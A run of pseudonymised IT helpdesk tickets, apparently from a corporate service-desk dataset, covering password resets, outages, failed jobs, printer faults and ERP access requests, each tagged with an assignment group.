this is causing delays with entering expense reports, especially wherein multiple entries are required., is assigned to Assignment group: GRP\_0.Ticket with Short description: install EU\_tool \laeusvjo fvaihgpx, Description: install EU\_tool \laeusvjo fvaihgpx, is assigned to Assignment group: GRP\_24.Ticket with Short description: access to m:\live\mw\_live(HostName\_95), Description: please provide access to below drive to view the drawings\_x000D\_
m:\live\mw\_live, is assigned to Assignment group: GRP\_12.Ticket with Short description: network outage:germany site is down since 4.46amet on 10/26., Description: what type of outage: \_\_\_\_x\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_4.46amet on 10/26.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_no\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: entire location at germany network is down.(germany), Description: entire location at germany network is down.
-user mention all the applications are down(erp, outlook, internet, intranet)
, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_19 : volume c:\ disk consumed is 85% ., Description: HostName\_19 : volume c:\ disk consumed is 85% ., is assigned to Assignment group: GRP\_12.Ticket with Short description: let's talk - not playing, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
refer the below screen shot.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d22f8f.98f6b6e0]\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_19.Ticket with Short description: HostName\_1035(bobj): cpu load on server is high currently utilization is 100% since 3:57am on 10/26/16, Description: HostName\_1035(bobj): cpu load on server is high currently utilization is 100% since 3:57am on 10/26/16, is assigned to Assignment group: GRP\_12.Ticket with Short description: purchasing can not working , Description: purchasing input the related the information ,also generated the ordered number 21765757669 .but check the erp me5a no data can check .pls help ,, is assigned to Assignment group: GRP\_29.Ticket with Short description: EU\_tool aktualisierung alle 15 min lÃ¤uft nicht , Description: EU\_tool aktualisierung alle 15 min lÃ¤uft nicht, is assigned to Assignment group: GRP\_25.Ticket with Short description: kindly copy the desktop files of (user id: vvgtyrhds) to (vvkuhtdppg) local folder., Description: kindly copy the desktop files of (user id: vvgtyrhds) to (vvkuhtdppg) local folder., is assigned to Assignment group: GRP\_19.Ticket with Short description: problems with nikulatrhdy, Description:
received from: koahsriq.wdugqatr@gmail.com
hello,
the account nikulatrhdy is "currently locked out". the user cannot log on the system.
please help.
Ñ ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼,
ÐµÐ²Ð³ÐµÐ½Ð¸Ñ.
koahsriq wdugqatr,
administrative assistant.
koahsriq.wdugqatr@gmail.com<mailto:koahsriq.wdugqatr@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: india carrier (company-ap-ind-carrier-891-dmvpn-rtr02) is down since 2.45am et on 10/26., Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_2.45am et on 10/26.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_495 failed in job\_scheduler at: 10/26/2016 03:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_495 failed in job\_scheduler at: 10/26/2016 03:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: purchasing catalog de-kroschke does not work, Description: error message when try to open the shop:\_x000D\_
shop failure\_x000D\_
you cannot enter the selected shop. \_x000D\_
reason\_x000D\_
authentication data is missing or cookie was not accepted by client\_x000D\_
\_x000D\_
catalogue has moved to another url see attached mail with the details\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: kalendereintrÃ¤ge - qdxyifhj zbwtunpy, Description: hallo, bitte einmal ansehen. danke., is assigned to Assignment group: GRP\_33.Ticket with Short description: need a wireless mouse for my laptop, Description: need a wireless mouse for my laptop, is assigned to Assignment group: GRP\_28.Ticket with Short description: labeldrucker wk 44567 druckt nicht mehr, Description: labeldrucker wk 44567 druckt nicht mehr, is assigned to Assignment group: GRP\_33.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 10/26/2016 02:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 10/26/2016 02:10:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: windows locked, Description:
received from: nmgesubf.wugbalmy@gmail.com
hi,
following user id (winows) is locked, pl. help.
user id : thrydufg,
, is assigned to Assignment group: GRP\_0.Ticket with Short description: daten kann nicht heruntergeladen werden, Description: daten kann nicht heruntergeladen werden.
die maschine ist im stillstand.
maschine name: wam77035673
datei werden von udo. trhsysba@gmail.com geschikt.
datei warden in zip und .exe format
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp schulung raum :7 kann beamer nicht verbinden, Description: erp schulung raum :7 kann beamer nicht verbinden\_x000D\_
\_x000D\_
reopened as user called in again. please refer to tkt: inplant\_868331, is assigned to Assignment group: GRP\_28.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/26/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/26/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to scan after resetting password on password\_management\_tool, Description: unable to scan after resetting password on password\_management\_tool.
contact number:
scan documents are not landing in the scan folder, please check
, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 10/26/2016 01:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 10/26/2016 01:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: printer issue, Description: "your file could not be printed due to an error on \\HostName\_769\tc78 on e05", is assigned to Assignment group: GRP\_3.Ticket with Short description: engineering record issue, Description: 1.) eng records for engineering tool can't usedï¼Œsee attachment for detailed\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: business\_client not working, Description: \_x000D\_
\_x000D\_
received from: lvxakohq.tsfnhowj@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
business\_client soft ware not working in my computer.\_x000D\_
\_x000D\_
with kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: new password not working in vpn, Description: \_x000D\_
\_x000D\_
received from: wdpzfqgi.zndgqcux@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
can you please help me to put new password to my account?\_x000D\_
\_x000D\_
yesterday i have changed my password, which worked some 2 hors or so.\_x000D\_
then since that it does not work.\_x000D\_
\_x000D\_
my suspision is that the new password was the same like in the past (1 year ago or so).\_x000D\_
\_x000D\_
i want to log into password\_management\_tool password manager but without any success.\_x000D\_
\_x000D\_
[cid:image005.jpg@01d22f4f.c9f93500]\_x000D\_
\_x000D\_
[cid:image006.jpg@01d22f4f.c9f93500]\_x000D\_
\_x000D\_
s pofgtzdravem / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: pls extend mm# 7429784, 7429785 and 7429786 to my user name, thnak you! need to create prs for those mm#., Description: pls extend mm# 7429784, 7429785 and 7429786 to my user name, thnak you! need to create prs for those mm#., is assigned to Assignment group: GRP\_29.Ticket with Short description: setting up my hand set for emails, Description: \_x000D\_
\_x000D\_
received from: ynsqjehx.kqgrsawl@gmail.com\_x000D\_
\_x000D\_
hi it experts,\_x000D\_
\_x000D\_
i'd like to continue receive your support for setting up my hand set for emails.\_x000D\_
\_x000D\_
\_x000D\_
pls find my below reply.\_x000D\_
\_x000D\_
a wifi and data plan from your service provider is required to setup email on your mobile device. will use wifi\_x000D\_
\_x000D\_
is this device company owned? y/n n\_x000D\_
\_x000D\_
is this a replacement of your old device? y/n y\_x000D\_
\_x000D\_
if yes, please ensure company data has been removed from the old device (delete exchange setup from settings> mail, contacts, calendar). ok\_x000D\_
\_x000D\_
for a personal device, please attach approval form signed by manager to the ticketing\_tool ticket. enclsoed\_x000D\_
\_x000D\_
please ensure the device is company approved for email setup.\_x000D\_
\_x000D\_
if it is not a company approved device please contact the gsc.\_x000D\_
\_x000D\_
for help with exchange setup on a personal device, please contact the device vendor. you may also refer to the faq section for steps.\_x000D\_
\_x000D\_
has the exchange setup been completed on your device? y/n seems y\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: close cost center, Description:
received from: bujiesrg.zopcrshl@gmail.com
dear all,
can you help to close the cost center of cnn003456 for 5463789? , is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to login to windows , Description: unable to login to windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: credit memo request 7112610434 approva, Description: hello,\_x000D\_
\_x000D\_
i have messages to process documents in my erp workflow, but i find none.\_x000D\_
please advise.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: engineering\_tool upload issue, Description: from: ufgkybsh ijswtdve
sent: tuesday, october 25, 2016 8:29 pm
to: nwfodmhc exurcwkm
subject: tgryds fw: engineering\_tool upload issue
dear sir/mam,
please find below the screenshot of engineering\_tool issue faced during upload.
please help me to resolve the same.
, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to log in to collaboration\_platform , Description: unable to log in to collaboration\_platform , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_872730, Description: ticket update on inplant\_872730, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to pull up reports on sales and markhtyeting tab, Description: unable to pull up reports on sales and markhtyeting tab in ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset users password, Description: reset users password, is assigned to Assignment group: GRP\_0.Ticket with Short description: query regarding logging in to benefits portal, Description: query regarding logging in to benefits portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry on erp SID\_37 bex analysis, Description: inquiry on erp SID\_37 bex analysis, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: fastethernet0/1 on usa-plant-mpls-2811, is down since 10/25/2016 3:27 pm, Description: interface: fastethernet0/1 on usa-plant-mpls-2811, is down since 10/25/2016 3:27 pm\_x000D\_
(cc communications 10mbps, circuit id is cccethxakm76356 ), is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: please assist thrys hsdbdtt in logging into reporting\_tool from crm. see attached screen shot. he was unable to access using his windows credentials. , Description: please assist thrys hsdbdtt in logging into reporting\_tool from crm. see attached screen shot. he was unable to access using his windows credentials. , is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook freezing on mobile broadband, Description: outlook freezing on mobile broadband, is assigned to Assignment group: GRP\_0.Ticket with Short description: configure calendar on phone sync with outlook, Description: configure calendar on phone sync with outlook, is assigned to Assignment group: GRP\_34.Ticket with Short description: outlook freezing issue, Description: outlook freezing issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to find shortcut on erp, Description: unable to find shortcut on erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool not working, Description: the hr\_tool app on the sso page opens to a beshryu screen when i open the pay and taxes tab and does nothing. i can not view any pay records.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook will not open, Description: i am unable to open outlook. i am getting the error message:\_x000D\_
"a new guard page for the stack cannot be created"\_x000D\_
\_x000D\_
i have tried restarting the computer.\_x000D\_
i have tried starting outlook in safe mode\_x000D\_
i have tried using the repair function for outlook.\_x000D\_
\_x000D\_
please advise, , is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to erp kp06789, Description: need access to kp06789 to enter forecast for it cost centers. i had requested and received this access at the end of august. access appears to be gone again. need by 10/31/16. , is assigned to Assignment group: GRP\_35.Ticket with Short description: password reset for yscgjexz hxlbvjgf, Description: password reset for yscgjexz hxlbvjgf, is assigned to Assignment group: GRP\_0.Ticket with Short description: node lhqsv4567465 located at usa is down since 10/25/2016 1:47 pm., Description: node lhqsv4567465 located at usa is down since 10/25/2016 1:47 pm.
interface: fc7/20 Â· lhqsv4567465 on sandplant\_162 and sandir02 is down since 10/25/2016 1:47 pm., is assigned to Assignment group: GRP\_8.Ticket with Short description: account lock and need to unlock, Description: account lock and need to unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: followup on ticket\_no0448851, Description: followup on ticket\_no0448851, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool payroll sign in, Description: \_x000D\_
\_x000D\_
received from: gvcfhwjy.lyxcorqb@gmail.com\_x000D\_
\_x000D\_
hr\_tool etime. unable to see payroll statements. try to access and receive screen below. it will not move out of this view.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d22ebc.f17f8040]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn password not working, Description: \_x000D\_
\_x000D\_
received from: vewdsifl.zjdmftkv@gmail.com\_x000D\_
\_x000D\_
pl support to resolve this problem\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to enter a project in the lean tracker in collaboration\_platform. , Description: not able to enter a project in the lean tracker in collaboration\_platform. see attached errors. , is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent - email delegation., Description: hi i had an associate leave on the vsp at the end of september. i had his outlook in my outlook but now it's gone. i had received an email that it was now stored on collaboration\_platform but i don't see anything when i click on the link. can i have his email restored through 2016.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: access to retired employee's collaboration\_platform, Description: Myhrt sthry retired as plant manager in usa. i have replaced him. i request access to his collaboration\_platform to copy relevant documents before it is being deleted as per e-mail below.
----------------------------
from: mqjdyizg amhywoqg
sent: saturday, october 22, 2016 9:00 am
to: <rozsyfai.zncajubh@gmail.com>
subject: fw: Myhrt sthry's collaboration\_platform for business contents will be preserved for 30 days
danieâ€¦you should follow up on this to see if there are any files you may need.
utejhdyd
vice president and general manager
from: no-reply@collaboration\_platformonline.com [mailto:no-reply@collaboration\_platformonline.com]
sent: saturday, october 22, 2016 8:56 am
to: mqjdyizg amhywoqg <mqjdyizg.amhywoqg@gmail.com>
subject: Myhrt sthry's collaboration\_platform for business contents will be preserved for 30 days
Myhrt sthry's account has been deleted from the active directory. their collaboration\_platform for business will be preserved for 30 days. you're the temporary owner of all documents saved to their collaboration\_platform for business. if you would like to save content beyond the 30 day retention period, you can copy important documents to another location. you can also contact your administrator to reassign ownership to another collaboration\_platform for business owner. after 30 days, Myhrt sthry's collaboration\_platform for business will be permanently deleted. go to Myhrt sthry's collaboration\_platform for business at
, is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot open excel files from \\HostName\_1351\departments\hrm pricing\current pricing\fy17 and bkzcfmse naslrwdb can., Description: cannot open excel files from \\HostName\_1351\departments\hrm pricing\current pricing\fy17 and bkzcfmse naslrwdb can. files are slow to open or will freeze., is assigned to Assignment group: GRP\_12.Ticket with Short description: cannot print to prtqx1270 under my profile on rqxw7404175, Description: cannot print to prtqx1270 under my profile on rqxw7404175, is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot print from windows with new pc i was just given., Description: cannot print from windows with new pc i was just given., is assigned to Assignment group: GRP\_3.Ticket with Short description: intermittent wireless issue on 7350, Description: intermittent wireless issue on 7350, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for prgewfly ndtfvple using password\_management\_tool password reset., Description: complete, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset the password for prgewfly ndtfvple on erp / development / erp, Description: completed, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is slow., Description: outlook is slow., is assigned to Assignment group: GRP\_0.Ticket with Short description: does the vpn meter the amount of data that can be transferred?, Description: does the vpn meter the amount of data that can be transferred?, is assigned to Assignment group: GRP\_0.Ticket with Short description: recall: incident ticket\_no1563995 has been assigned to oncidblt ucewizyd, Description:
received from: oncidblt.ucewizyd@gmail.com
trhsys hrydjs would like to recall the message, "incident ticket\_no1563995 has been assigned to oncidblt ucewizyd".
, is assigned to Assignment group: GRP\_9.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account gets locked out., Description: account gets locked out.\_x000D\_
id changed from company to company.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: : query : what license does knlrgsiv cqvuexjz has., Description: knlrgsiv cqvuexjz has e1 license.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to engineering tool, Description: unable to login to engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: password change request., Description: password change request., is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgayczeing - pl ignore, Description: uacyltoe hxgayczeing - pl ignore, is assigned to Assignment group: GRP\_36.Ticket with Short description: reset the password for xoukpfvr oxvakgcl on erp / production / hcm, Description: i'm unable to login erp system (engineering tool) SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: misplaced login information for ess, Description: misplaced login information for ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset erp SID\_34 password for vvtgryhud, Description: reset erp SID\_34 password for vvtgryhud, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to the hub, Description: misplaced username / password., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for xoukpfvr oxvakgcl using password\_management\_tool password reset., Description: as per system instruction now i have reset the password, but i'm unable to login erp system SID\_34, is assigned to Assignment group: GRP\_17.Ticket with Short description: misplaced username / password, Description: unable to login to the hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for axhkewnv zpumhlic in citrix , Description: password reset for axhkewnv zpumhlic in citrix , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to use jabra head phone for skype calls, Description: unable to use jabra head phone for skype calls, is assigned to Assignment group: GRP\_0.Ticket with Short description: removing e-mail reminders from workflow systems of requisition approval , Description: removing e-mail reminders from workflow systems of requisition approval. i get repeated e-mail reminders for purchase approval from workflow tasks, but they have been completed long ago. , is assigned to Assignment group: GRP\_29.Ticket with Short description: collaboration\_platform deleted information, Description: hello,
the user "tgrsyduf" accidentally deleted information from collaboration\_platform yesterday. is possible recover this information?
, is assigned to Assignment group: GRP\_16.Ticket with Short description: collaboration\_platform site request, Description: hello
can you add the users below to as team members to the cybersecurity website
i should have ownership; users below can have edit access.
qasouhlc xkhsirtd
gzhapcld fdigznbk
ugyothfz ugrmkdhx
raosetuv hmgwrkzb
mfyivqes cpihaxbs
thrdyd dhdtwdd
thrdyakdj yhtdush
jqeczxtn gfjcronyudhakar
akisjtzm uvbmysgcbenezer
qfrntose ivnhumzjalakrisyuhnyrtn
thtudb ghtysui
, is assigned to Assignment group: GRP\_16.Ticket with Short description: reset the password for dnlhsgyo newducsl on erp / production / erp, Description: after setting a new overall password i couldn't access erp. too many fails.sorry for that., is assigned to Assignment group: GRP\_0.Ticket with Short description: workplanning from germany plant plant\_119 need in bbo1345 the same erp possibilites , Description: hello all
my collegue "thryduf" and i "hddwtra" need for the future fully erp acceptance for plant plant\_27 too
, is assigned to Assignment group: GRP\_2.Ticket with Short description: probleme mit portal \knlrgsiv cqvuexjz, Description: probleme mit portal \knlrgsiv cqvuexjz, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to login to erp pp5t463, Description: password reset needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to pc, Description: misplaced username / password., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to join and setup skype meeting , Description: unable to join and setup skype meeting , is assigned to Assignment group: GRP\_0.Ticket with Short description: rma 7112619085 workflow in error status, Description: rma 7112619085 workflow in error status - please advise reason for error and restart workflow. , is assigned to Assignment group: GRP\_13.Ticket with Short description: setup rechner ewel8323865 fÃ¼r hr.thrydad (thrydad consulting ) \puxsvfwr cwkjruni, Description: setup rechner ewel8323865 fÃ¼r hr.thrydad (thrydad consulting ) \puxsvfwr cwkjruni, is assigned to Assignment group: GRP\_24.Ticket with Short description: employee accounts reactivation etdh thsydaas's , Description: etdh thsydaas's 's (employee # 660067598) computer access is terminated. please usa him access back aerp. his last day with company is oct 31., is assigned to Assignment group: GRP\_2.Ticket with Short description: recurrent network outage. (every 15 minutes) in penn, Description: recurrent network outage. (every 15 minutes).
intranet and internet both are affected.
contact :, is assigned to Assignment group: GRP\_4.Ticket with Short description: engineering tool shows message to all users of south\_amerirtca after the logon, Description: since monday 10/24/2016, engineering tool users of south\_amerirtca reported that engineering tool shows a message after the logon related to the server HostName\_1238 (plm server).\_x000D\_
please see attached message., is assigned to Assignment group: GRP\_14.Ticket with Short description: bitte konto ewel8323865 reaktivieren \laptop fÃ¼r ein hr prÃ¼fer \konto fÃ¼r trhfyd sugajadd ist aktiv .bitte um rÃ¼ckruf ., Description: bitte konto ewel8323865 reaktivieren \laptop fÃ¼r ein hr prÃ¼fer \konto fÃ¼r trhfyd sugajadd ist aktiv .bitte um rÃ¼ckruf .
fyi
von: mfyivqes cpihaxbs
gesendet: dienstag, 25. oktober 2016 12:54
an: ughzilfm cfibdamq
betreff: re: bitte konto ewel8323865 reaktivieren \laptop fÃ¼r ein hr prÃ¼fer \konto fÃ¼rtrhfyd sugajadd ist aktiv .bitte um rÃ¼ckruf .
hallo ,
bitte ein tickert an help aufmachen, die kÃ¶nnen das machen
grÃ¼ÃŸe
, is assigned to Assignment group: GRP\_0.Ticket with Short description: sales manager views in business objects explorer, Description: the following sales managers cannot see the sales manager views in business objects explorer
- tcflirwg ojflyruq
- bmudkpie qolrvbip
- thryd athrdyau
- vksfrhdx njhaqket
please check their security and settings with respect to bobj, is assigned to Assignment group: GRP\_9.Ticket with Short description: reset passwords for qnxfegjw rljdhmwb using password\_management\_tool password reset., Description: reset passwords for qnxfegjw rljdhmwb using password\_management\_tool password reset., is assigned to Assignment group: GRP\_17.Ticket with Short description: probleme mit erpgui \tmqfjard qzhgdoua, Description: probleme mit erpgui \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: support fÃ¼r fa.thrydsss-funke \laeusvjo fvaihgpx, Description: support fÃ¼r fa.thrydsss-funke \laeusvjo fvaihgpx, is assigned to Assignment group: GRP\_24.Ticket with Short description: bildband tauschen \drucker we68678 \vepxdgot poezmwny, Description: bildband tauschen \drucker we68678 \vepxdgot poezmwny, is assigned to Assignment group: GRP\_24.Ticket with Short description: primary telephone flow down - company EU - EU plant, Description: hello, writes from company EU plant
this mail for inform that we have primary telephone flow down
all incomig calls and external calls are not running.
i opened a tck to telecom for investigate and for solving the problem.
tck no . #03437236504
, is assigned to Assignment group: GRP\_37.Ticket with Short description: bobj access not working, Description:
received from: btvmxdfc.yfahetsc@gmail.com
hello,
i can now enter bobj but not able to look into any spaces: see below screenshot error when entering any space:
[cid:image001.jpg@01d22eab.12342be0]
[cid:image002.jpg@01d22eab.12342be0]
sales manager company western europe
btvmxdfc.yfahetsc@gmail.com<mailto:btvmxdfc.yfahetsc@gmail.com>
, is assigned to Assignment group: GRP\_9.Ticket with Short description: bobj access for sales managers, Description:
received from: yzugpdco.nsyapewg@gmail.com
team,
my sales managers are not seeing their team view in bobj anymore (global access).
they need it to pull data analysis.
can you please reinstall global access for:
- tcflirwg ojflyruq
- bmudkpie qolrvbip
- thryd adwjfpbreu
- vksfrhdx njhaqket
, is assigned to Assignment group: GRP\_9.Ticket with Short description: skpe addon gone, Description: skpe addon gone
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
maaryuyten
hello , need your help. my skype botton in outlook is gone
hello , need your help. my skype botton in outlook is gone
dwfiykeo argtxmvcumar3
hello, , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/25/2016 05:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/25/2016 05:07:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: hpqc delivers error message: "user is not maintained in the project fy\_13 release. please contact hpqc admin", Description: my user id: thrydksd'
iÂ´m involved in uat uacyltoe hxgayczeing for ec-ecc and was asked to re-install hpqc client installation kit, what iÂ´ve already done with below links.
when i start hpqc and enter my windows user name and windows password i receive following error message:"user is not maintained in the project fy\_13 release. please contact hpqc admin"
, is assigned to Assignment group: GRP\_38.Ticket with Short description: job Job\_495 failed in job\_scheduler at: 10/25/2016 04:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_495 failed in job\_scheduler at: 10/25/2016 04:46:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: telefon gigaset m2 ex professional (tel.:) lÃ¤d nicht mehr. anschluss defekt., Description: telefon gigaset m2 ex professional (tel.:) lÃ¤d nicht mehr. anschluss defekt., is assigned to Assignment group: GRP\_33.Ticket with Short description: please setup user trhdaa2 back to startpassword at erp, Description: please setup user trhdaa2 back to startpassword at erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp - change of new costs not working in cockpit - field mvgr4, Description: hello, following problem:\_x000D\_
due to necessary changes on tool for an received order i tried to update the costs in cockpit, but when saving the quote, it does not work: error message' field mvgr4 cannot be changed, vbapkom 00010 ready for input' any hints how to solve that? i did that on other q1's before and it worked, only new thing is that we have an order running.\_x000D\_
erp data, in case it is necessary: order # 36156763 - q1 # 3116244801. concerning items: 10 (as above), 260, 380, 400, is assigned to Assignment group: GRP\_13.Ticket with Short description: nutzer wk\_ksem15462 gesperrt, Description: nutzer wk\_ksem15462 gesperrt, is assigned to Assignment group: GRP\_33.Ticket with Short description: timerecording terminals in plant germany no communication to the server in fÃ¼rth(bcom server in fÃ¼rth), Description: timerecording terminals in plant germany no communication to the server in fÃ¼rth. they are sending the message ", is assigned to Assignment group: GRP\_33.Ticket with Short description: job Job\_485 failed in job\_scheduler at: 10/25/2016 02:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
